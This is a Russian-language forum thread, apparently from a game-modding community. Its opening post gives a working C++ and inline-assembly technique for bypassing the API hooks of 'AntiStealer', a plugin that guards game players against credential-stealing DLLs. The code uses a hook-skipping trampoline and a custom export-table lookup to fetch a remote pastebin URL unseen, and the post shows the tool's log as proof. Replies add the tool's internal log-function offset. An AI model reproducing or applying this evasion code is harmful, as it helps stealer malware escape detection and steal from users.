 |

03.11.2018, 04:23
|
|
Участник форума
Регистрация: 13.03.2016
Сообщений: 242
С нами:
5351007
Репутация:
0
|
|
Этот туториал создан исключительно в познавательных целях.
Я не преследую никаких намерений обидеть разработчика анти-стиллера.
Всего лишь хочу показать его главную уязвимость чтобы автор наконец её исправил.
В качестве примера будет использована WIN API функция InternetOpenUrlA с wininet.dll
Метод обхода заключается в "перепрыгивании" splice-хука через свою функцию-прослойку.
Для начала подключим в наш DLL проект необходимые библиотеки и заголовки.
C++:
Код:
#include
#include
#include
#include
#pragma comment(lib, "wininet.lib")
Для обхода сплайс-хука нам нужно сделать так званную "прослойку" с помощью inline-ассемблера.
C++:
Код:
DWORD retAddr
;
// Чтобы компилятор не генерировал нам пролог и эпилог ставим аттрибут naked
__declspec
(
naked
)
void
__stdcall
EmulateInstructions
(
)
{
// Эмулируем 5 байт затёртых инструкций от анти-стиллера
__asm
{
// Распакуем аргументы в стэк
push ebp
mov ebp
,
esp
jmp retAddr
;
// Вернёмся в оригинальную WIN API функцию
}
}
Далее нам нужно будет вызвать нашу функцию согласно __stdcall соглашению о вызовах.
Согласно выдержке с msdn это соглашение о вызовах использует порядок аргументов наоборот.
Значит запихаем все аргументы в стэк в обратном порядке.
C++:
Код:
// Для обхода GetProcAddress хука использует кастом-функцию
// B идеале вообще искать адрес вин апи сканнером сигнатур чтобы не нарватся на EAT хуки.
FARPROC
GetProcedureAddress
(
HANDLE hModule
,
char
*
pszProcName
)
{
IMAGE_DOS_HEADER
*
pdhDosHeader
=
(
IMAGE_DOS_HEADER
*
)
hModule
;
if
(
pdhDosHeader
->
e_magic
!=
IMAGE_DOS_SIGNATURE
)
return
0
;
IMAGE_NT_HEADERS
*
pndNTHeader
=
(
IMAGE_NT_HEADERS
*
)
(
pdhDosHeader
->
e_lfanew
+
(
long
)
hModule
)
;
if
(
pndNTHeader
->
Signature
!=
IMAGE_NT_SIGNATURE
)
return
0
;
IMAGE_EXPORT_DIRECTORY
*
iedExports
=
(
IMAGE_EXPORT_DIRECTORY
*
)
(
pndNTHeader
->
OptionalHeader
.
DataDirectory
[
IMAGE_DIRECTORY_ENTRY_EXPORT
]
.
VirtualAddress
+
(
long
)
hModule
)
;
long
*
pNames
=
(
long
*
)
(
iedExports
->
AddressOfNames
+
(
long
)
hModule
)
;
short
wOrdinalIndex
=
-
1
;
for
(
int
i
=
0
;
i
NumberOfFunctions
;
i
++
)
{
char
*
pszFunctionName
=
(
char
*
)
(
pNames
[
i
]
+
(
long
)
hModule
)
;
if
(
lstrcmpiA
(
pszFunctionName
,
pszProcName
)
==
0
)
{
wOrdinalIndex
=
i
;
break
;
}
}
if
(
wOrdinalIndex
==
-
1
)
return
0
;
short
*
pOrdinals
=
(
short
*
)
(
iedExports
->
AddressOfNameOrdinals
+
(
long
)
hModule
)
;
unsigned
long
*
pAddresses
=
(
unsigned
long
*
)
(
iedExports
->
AddressOfFunctions
+
(
long
)
hModule
)
;
short
wAddressIndex
=
pOrdinals
[
wOrdinalIndex
]
;
return
(
FARPROC
)
(
pAddresses
[
wAddressIndex
]
+
(
long
)
hModule
)
;
}
void
__stdcall
TestCall
(
)
{
HINTERNET hInternet
=
InternetOpenA
(
"Google Chrome"
,
0
,
0
,
0
,
0
)
;
if
(
hInternet
)
{
HINTERNET hInternetUrl
;
// Запишем наш адрес возврата в оригинальную функцию с перепрыгом на 5 байт (Дальше хука антистиллера)
retAddr
=
(
(
DWORD
)
GetProcedureAddress
(
GetModuleHandleA
(
"wininet.dll"
)
,
"InternetOpenUrlA"
)
+
0x5
)
;
DWORD DetourAddr
=
(
DWORD
)
&
EmulateInstructions
;
// Адрес нашей "прослойки"
char
link
[
]
=
{
"https://pastebin.com/raw/Cv9PSgY0"
}
;
// Ваша ссылка
__asm
// Порядок пушей согласно __stdcall соглашению
{
pushfd
// Сохраним значения регистров
lea eax
,
link
// Скопируем в приёмник указатель на нашу ссылку
push
0
push
0
push
0
push
0
push eax
// Указатель на ссылку
push hInternet
// Хендл интернет-соединения
call DetourAddr
// Вызываем нашу "прослойку"
mov hInternetUrl
,
eax
// Получим возвращаемый хендл интернет-соединения
popfd
// Восстановим регистры
}
if
(
hInternetUrl
)
{
DWORD len
=
0
;
char
result
[
1024
]
=
{
}
;
if
(
InternetReadFile
(
hInternetUrl
,
result
,
sizeof
(
result
)
-
1
,
&
len
)
)
{
result
[
len
]
=
0
;
// Запишем возвращаемую информацию в текстовик
FILE
*
hFile
=
fopen
(
"__TEST.txt"
,
"a+"
)
;
if
(
hFile
)
{
fprintf
(
hFile
,
"%s\n"
,
result
)
;
fclose
(
hFile
)
;
}
}
InternetCloseHandle
(
hInternetUrl
)
;
}
InternetCloseHandle
(
hInternet
)
;
}
}
// B DllMain где DLL_PROCESS_ATTACH: создадим новый поток чтобы не фризило игру чтение ссылки
// CreateThread(0, 0, (LPTHREAD_START_ROUTINE)TestInet, 0, 0, 0); // Создание потока
После загрузки нашей DLL-ки в процесс игры, создаст текстовый файл __TEXT.txt с результатом чтения ссылки.
P.S - На всякий случай лучше отключить все C++ оптимизации в настройках проекта.
Лог Анти-стиллера (Как видим не одного PATCHED, а нашей функи даже в варнингах нет)
От остальных варнингов можно тоже избавится если обойти и другие WIN API хуки.
Сообщение от Спойлер
|>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~ | AntiStealer | V4.9.5 | By DarkP1xel | .LOG File | Official Web-Site: https://blast.hk/ Subscribe to my YouTube Channel: https://vk.cc/5PCsTe Official Topic: https://blast.hk/threads/16018/ KEEP CALM AND SMOKE SOME WEED !AntiStealer LOADED! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~ [gethostbyname] > [C:\Users\Powerfull\Desktop\GTA San Andreas\samp.dll] > {name: Comparer}
[WARNING] > [InternetOpenA] > [C:\Users\Powerfull\Desktop\GTA San Andreas\SAMPFUNCS\BPS.sf] > {lpszAgent: Google Chrome}
[WARNING] > [InternetCreateUrlW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}
[WARNING] > [InternetCreateUrlW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}
[WARNING] > [WinHttpCreateUrl] > [C:\Windows\SYSTEM32\Winhttp.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}
[WARNING] > [WinHttpCreateUrl] > [C:\Windows\SYSTEM32\Winhttp.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}
[WARNING] > [InternetCreateUrlW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}
[WARNING] > [InternetCreateUrlW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}
[WARNING] > [InternetCreateUrlW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}
[WARNING] > [InternetCreateUrlW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}
[WARNING] > [GetAddrInfoExW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {pName: pastebin.com}
Автор: Rzeźnik
|
|
|

03.11.2018, 04:45
|
|
Познавший АНТИЧАТ
Регистрация: 09.08.2015
Сообщений: 1,213
С нами:
5663255
Репутация:
183
|
|
Можешь еще тут что-то поковырять.
Адрес функции которая вызывается что-бы что-либо записать в лог.
C++:
Код:
DWORD LogFunc
=
(
DWORD
)
GetModuleHandle
(
"!0AntiStealerByDarkP1xel.ASI"
)
+
0x11F10
;
|
|
|

03.11.2018, 07:06
|
|
Познающий
Регистрация: 05.06.2015
Сообщений: 37
С нами:
5757818
Репутация:
58
|
|
ну вот, теперь можно не спать спокойно
|
|
|

03.11.2018, 10:51
|
|
Флудер
Регистрация: 26.10.2013
Сообщений: 4,924
С нами:
6603505
Репутация:
183
|
|
Deprecated же
UPD: При чем было исправлено еще в конце сентября
|
|
|

03.11.2018, 15:53
|
|
Участник форума
Регистрация: 13.03.2016
Сообщений: 242
С нами:
5351007
Репутация:
0
|
|
Сообщение от SR_team
Deprecated же
UPD: При чем было исправлено еще в конце сентября
Ты сначало его попробуй а потом утверждай, обход проверен на v4.9.5
|
|
|

03.11.2018, 16:08
|
|
Флудер
Регистрация: 26.10.2013
Сообщений: 4,924
С нами:
6603505
Репутация:
183
|
|
Сообщение от Rzeźnik
Ты сначало его попробуй а потом утверждай, обход проверен на v4.9.5
Пиксель поломал совместимость с wine в 4.9.0
Но вероятно это фикс такой, что бы игру не крашило. Я предлагал крашить игру, если запрос не валиден. Т.к. раньше такой обход вообще в логе не палился.
|
|
|

03.11.2018, 16:13
|
|
Участник форума
Регистрация: 13.03.2016
Сообщений: 242
С нами:
5351007
Репутация:
0
|
|
Сообщение от SR_team
Пиксель поломал совместимость с wine в 4.9.0
Но вероятно это фикс такой, что бы игру не крашило. Я предлагал крашить игру, если запрос не валиден. Т.к. раньше такой обход вообще в логе не палился.
Писал ночью и совсем упустил из виду один момент, у него стоит GetProcAddress хук по этому сапается кастомным парсером EAT.
C++:
Код:
FARPROC
GetProcedureAddress
(
HANDLE hModule
,
char
*
pszProcName
)
{
IMAGE_DOS_HEADER
*
pdhDosHeader
=
(
IMAGE_DOS_HEADER
*
)
hModule
;
if
(
pdhDosHeader
->
e_magic
!=
IMAGE_DOS_SIGNATURE
)
return
0
;
IMAGE_NT_HEADERS
*
pndNTHeader
=
(
IMAGE_NT_HEADERS
*
)
(
pdhDosHeader
->
e_lfanew
+
(
long
)
hModule
)
;
if
(
pndNTHeader
->
Signature
!=
IMAGE_NT_SIGNATURE
)
return
0
;
IMAGE_EXPORT_DIRECTORY
*
iedExports
=
(
IMAGE_EXPORT_DIRECTORY
*
)
(
pndNTHeader
->
OptionalHeader
.
DataDirectory
[
IMAGE_DIRECTORY_ENTRY_EXPORT
]
.
VirtualAddress
+
(
long
)
hModule
)
;
long
*
pNames
=
(
long
*
)
(
iedExports
->
AddressOfNames
+
(
long
)
hModule
)
;
short
wOrdinalIndex
=
-
1
;
for
(
int
i
=
0
;
i
NumberOfFunctions
;
i
++
)
{
char
*
pszFunctionName
=
(
char
*
)
(
pNames
[
i
]
+
(
long
)
hModule
)
;
if
(
lstrcmpiA
(
pszFunctionName
,
pszProcName
)
==
0
)
{
wOrdinalIndex
=
i
;
break
;
}
}
if
(
wOrdinalIndex
==
-
1
)
return
0
;
short
*
pOrdinals
=
(
short
*
)
(
iedExports
->
AddressOfNameOrdinals
+
(
long
)
hModule
)
;
unsigned
long
*
pAddresses
=
(
unsigned
long
*
)
(
iedExports
->
AddressOfFunctions
+
(
long
)
hModule
)
;
short
wAddressIndex
=
pOrdinals
[
wOrdinalIndex
]
;
return
(
FARPROC
)
(
pAddresses
[
wAddressIndex
]
+
(
long
)
hModule
)
;
}
И в том случае даже если он по экспорту адрес свой поставит, всегда можно искать вин апи сканнером сигнатур.
|
|
|

03.11.2018, 16:15
|
|
Флудер
Регистрация: 26.10.2013
Сообщений: 4,924
С нами:
6603505
Репутация:
183
|
|
Сообщение от Rzeźnik
Писал ночью и совсем упустил из виду один момент, у него стоит GetProcAddress хук по этому сапается кастомным парсером EAT.
C++:
Код:
FARPROC
GetProcedureAddress
(
HANDLE hModule
,
char
*
pszProcName
)
{
IMAGE_DOS_HEADER
*
pdhDosHeader
=
(
IMAGE_DOS_HEADER
*
)
hModule
;
if
(
pdhDosHeader
->
e_magic
!=
IMAGE_DOS_SIGNATURE
)
return
0
;
IMAGE_NT_HEADERS
*
pndNTHeader
=
(
IMAGE_NT_HEADERS
*
)
(
pdhDosHeader
->
e_lfanew
+
(
long
)
hModule
)
;
if
(
pndNTHeader
->
Signature
!=
IMAGE_NT_SIGNATURE
)
return
0
;
IMAGE_EXPORT_DIRECTORY
*
iedExports
=
(
IMAGE_EXPORT_DIRECTORY
*
)
(
pndNTHeader
->
OptionalHeader
.
DataDirectory
[
IMAGE_DIRECTORY_ENTRY_EXPORT
]
.
VirtualAddress
+
(
long
)
hModule
)
;
long
*
pNames
=
(
long
*
)
(
iedExports
->
AddressOfNames
+
(
long
)
hModule
)
;
short
wOrdinalIndex
=
-
1
;
for
(
int
i
=
0
;
i
NumberOfFunctions
;
i
++
)
{
char
*
pszFunctionName
=
(
char
*
)
(
pNames
[
i
]
+
(
long
)
hModule
)
;
if
(
lstrcmpiA
(
pszFunctionName
,
pszProcName
)
==
0
)
{
wOrdinalIndex
=
i
;
break
;
}
}
if
(
wOrdinalIndex
==
-
1
)
return
0
;
short
*
pOrdinals
=
(
short
*
)
(
iedExports
->
AddressOfNameOrdinals
+
(
long
)
hModule
)
;
unsigned
long
*
pAddresses
=
(
unsigned
long
*
)
(
iedExports
->
AddressOfFunctions
+
(
long
)
hModule
)
;
short
wAddressIndex
=
pOrdinals
[
wOrdinalIndex
]
;
return
(
FARPROC
)
(
pAddresses
[
wAddressIndex
]
+
(
long
)
hModule
)
;
}
И в том случае даже если он по экспорту адрес свой поставит, всегда можно искать вин апи сканнером сигнатур.
Это он собирался фиксить в 5.0

|
|
|

03.11.2018, 16:16
|
|
Познавший АНТИЧАТ
Регистрация: 09.08.2015
Сообщений: 1,213
С нами:
5663255
Репутация:
183
|
|
|
|
|

03.11.2018, 16:19
|
|
Флудер
Регистрация: 26.10.2013
Сообщений: 4,924
С нами:
6603505
Репутация:
183
|
|
Сообщение от Rinat_Namazov
Когда-то думал это в SF встроить, но там столько говна было, что я забил.
|
|
|
|
 |
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|